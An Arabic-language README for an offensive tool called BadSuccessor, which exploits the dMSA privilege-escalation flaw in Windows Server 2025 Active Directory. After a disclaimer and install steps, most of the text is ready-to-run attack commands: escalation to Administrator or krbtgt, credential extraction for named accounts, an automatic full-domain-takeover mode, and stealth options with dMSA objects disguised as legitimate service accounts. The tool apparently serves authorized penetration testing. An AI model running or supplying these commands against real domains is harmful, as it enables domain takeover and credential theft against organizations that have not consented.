
يستغل ثغرة تصعيد الامتيازات dMSA في Windows Server 2025 لتعداد وحدات التنظيم (OUs) القابلة للكتابة، وتصعيد الصلاحيات إلى مستخدمي النطاق العشوائيين، واستخراج بيانات الاعتماد، وتمكين السيطرة الكاملة على النطاق في تقييمات أمنية مرخصة لـ Active Directory.
أداة اختبار اختراق تستغل ثغرة رفع الصلاحيات في dMSA (حساب الخدمة المُدار المُفوَّض) في بيئات Active Directory على Windows Server 2025.
هذه الأداة مخصصة لاختبار الاختراق المصرَّح به والبحث الأمني فقط. استخدامها ضد أنظمة دون إذن كتابي صريح يُعد غير قانوني. المؤلفون غير مسؤولين عن سوء الاستخدام أو الأضرار.
الأداة قيد التطوير النشط؛ قد يختلف سلوكها بين إصدارات Windows Server 2025 واختلافات المخطط. اختبرها في بيئة غير إنتاجية أولاً، وأبلغ عن المشكلات أو أرسل طلبات سحب (PRs) لإصلاحات التوافق.
تستغل BadSuccessor ثغرة رفع الصلاحيات في ميزة حساب الخدمة المُدار المُفوَّض (dMSA) في Windows Server 2025. تتيح للمهاجم الذي يمتلك الحد الأدنى من الصلاحيات بالارتقاء إلى أي مستخدم في النطاق، بما في ذلك مسؤولو النطاق (Domain Administrators).
حالة التصحيح: مُتتبَّعة بوصفها CVE-2025-53779 (CVSS 7.2، اجتياز المسار النسبي في dMSA). أُفصح عنها من قِبل Akamai في 2025-05-21 وتم إصلاحها في Patch Tuesday لشهر أغسطس 2025 من Microsoft. تشير Akamai إلى أن التصحيح يخفف الكثير من المخاطر لكن التقنية الأساسية تبقى ذات صلة، لذا تظل هذه الأداة مفيدة ضد البيئات غير المُصحَّحة أو المُهيَّأة بشكل خاطئ.
بحث من Yuval Gordon (Akamai): Abusing dMSA to Escalate Privileges in Active Directory.
توجد الثغرة في عملية ترحيل dMSA:
msDS-ManagedAccountPrecededByLink (أو ms-DS-Managed-Account-Preceded-By-Link) على مستخدم هدفmsDS-DelegatedMSAState (أو ms-DS-Delegated-MSA-State) على 2 (اكتمال الترحيل)بالإضافة إلى ذلك، يحتوي هيكل KERB-DMSA-KEY-PACKAGE على مفاتيح كلمة مرور المستخدم الهدف، مما يتيح استخراج بيانات الاعتماد.
pip3 install ldap3 pyasn1 pycryptodome
pip3 install impacket==0.12.0
تستهدف الأداة impacket 0.12.0 وتعمل أيضًا على الإصدارات الأحدث (تم اختبارها مع 0.13.1). تُطبع تحذيرات عدم تطابق الإصدار عند التشغيل ويمكن تجاهلها على الإصدارات الأحدث المدعومة.
# DNS-based DC discovery
pip3 install dnspython
# Kerberos system packages
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild أو Write أو GenericWrite أو GenericAllgit clone https://github.com/cybrly/badsuccessor.git
cd badsuccessor
pip3 install -r requirements.txt
chmod +x badsuccessor.py
requirements.txt:
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
تغطي اختبارات الوحدة تحليل DACL/ACE، ومساعد GUID، ومعالجة الجلسات. وهي لا تحتاج إلى Active Directory حي.
pip3 install impacket # test dependency
python3 -m unittest discover -s tests
python3 badsuccessor.py -d <domain> -u <username> -p <password> [options]
تشغيل تجريبي (دون إجراء أي تغييرات):
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
عدّد البيئة:
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
نفّذ الهجوم:
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
استخراج بيانات الاعتماد:
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
إدارة الجلسات:
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp_local_john_1234567890_abcd1234
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
تصدير النتائج:
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--export-json attack_results.json --export-html attack_report.html
المصادقة
| الخيار | الوصف |
|---|---|
-d, --domain | النطاق الهدف (مثل corp.local) [مطلوب] |
-u, --username | اسم المستخدم للمصادقة [مطلوب] |
-p, --password | كلمة المرور للمصادقة |
--dc-ip | عنوان IP لوحدة التحكم بالمجال (يُكتشف تلقائيًا إذا حُذف) |
--ldaps | فرض اتصال LDAPS (SSL) على المنفذ 636 |
أوضاع الهجوم
| الخيار | الوصف |
|---|---|
--attack | تنفيذ هجوم BadSuccessor |
--dry-run | محاكاة الهجوم دون إجراء تغييرات |
--extract-creds | استخراج بيانات الاعتماد باستخدام حزمة المفاتيح |
--auto-pwn | استيلاء آلي كامل على النطاق |
تحديد الهدف
| الخيار | الوصف |
|---|---|
--target | المستخدم الهدف للتصعيد إليه |
--targets | مستخدمون مفصولون بفواصل لاستخراج بيانات الاعتماد |
--validate-target | التحقق من صحة حساب هدف دون مهاجمته |
إعداد dMSA
| الخيار | الوصف |
|---|---|
--dmsa-name | اسم dMSA (يُولَّد تلقائيًا إذا حُذف) |
--dmsa-pattern | نمط التسمية (مثل svc{random}{target}) |
--ou-dn | DN لوحدة تنظيمية محددة لاستخدامها (يُكتشف تلقائيًا إذا حُذف) |
--dmsa-description | وصف لـ dMSA المُنشأ |
--dmsa-display-name | اسم العرض لـ dMSA المُنشأ |
الاستكشاف
| الخيار | الوصف |
|---|---|
--enumerate | استكشاف الوحدات التنظيمية التي تمتلك أي أذونات كتابة |
--list-targets | سرد الأهداف عالية القيمة |
--check-schema | التحقق من مخطط Windows Server 2025 |
إدارة الجلسات
| الخيار | الوصف |
|---|---|
--session-id | استئناف جلسة موجودة |
--list-sessions | سرد جميع الجلسات المتاحة |
--cleanup-session SESSION_ID | تنظيف جميع كائنات dMSA من جلسة |
التنظيف
| الخيار | الوصف |
|---|---|
--cleanup | إزالة dMSA مُنشأ |
--dmsa-dn | DN الخاص بـ dMSA للتنظيف |
--cleanup-all | تنظيف جميع كائنات dMSA من الجلسة الحالية |